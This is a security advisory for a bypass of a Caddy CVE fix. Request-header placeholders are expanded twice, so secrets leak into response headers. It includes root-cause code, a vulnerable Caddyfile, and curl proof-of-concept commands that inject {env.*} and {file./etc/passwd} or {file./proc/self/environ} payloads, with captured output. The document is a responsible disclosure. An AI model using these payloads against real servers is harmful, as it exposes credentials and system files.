GHSA-wwhq-w58m-w29c Caddy CVE-2026-30852 Fix Bypass

• Go github.com/caddyserver/caddy/v2: >= 2.11.0, <= 2.11.2 (no fix yet)

TL;DR CVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header → Caddy expands it on the second pass → secrets leaked in response headers. Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix. Root Cause `modules/caddyhttp/vars.go`, lines 215-217: ```go valExpanded = varStr if !fromPlaceholder { valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION } ``` Same issue at line 358-360 in `MatchVarsRE`. `fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`. Expansion chain: 1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}` 2. Request header: `X-Tenant-ID: {env.SECRET}` 3. Pass 1 (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "")` → resolves to literal string `{env.SECRET}`. Stored in vars map. 4. Pass 2 (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll("{env.SECRET}", "")` → resolves to the actual secret value. 5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`. Impact • Environment variable disclosure: `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc. • Arbitrary file read (up to 1MB): `{file./etc/passwd}`, `{file./proc/self/environ}` • System info: `{system.hostname}`, `{system.os}` • Full env dump in one request: `{file./proc/self/environ}` Realistic Attack Scenario API gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing. ``` Caddyfile :8080 { vars tenant_id {http.request.header.X-Tenant-ID} @has_tenant vars_regexp tenant tenant_id (.+) handle @has_tenant { header X-Tenant-ID "{re.tenant.1}" reverse_proxy tenant-backend:8080 } respond "Missing X-Tenant-ID header" 400 } ``` ``` docker-compose.yml services: caddy: image: caddy:2.11.2 ports: • "8080:8080" volumes: • ./Caddyfile:/etc/caddy/Caddyfile:ro environment: • SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345 • DATABASE_URL=postgresql://admin:[email protected]:5432/production • AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY • INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY ``` Attacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}` Response contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY` Reproduce ```bash docker compose up -d sleep 2 Normal request — works as expected curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant X-Tenant-Id: acme-corp Leak env var via response header curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 Leak AWS credentials curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY Read arbitrary file curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant Dump ALL env vars (Linux) curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/ ``` Confirmed Test Output (Caddy v2.11.2) ``` $ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: acme-corp X-Routed-To: tenant-acme-corp $ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345 $ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: 06140d4a8645 ``` Fix Apply expansion guard to BOTH branches: ```go // vars.go line 215-217 — fix: valExpanded = varStr // REMOVE: if !fromPlaceholder { // valExpanded = repl.ReplaceAll(varStr, "") // } ``` Or sanitize vars stored from user input before re-expansion.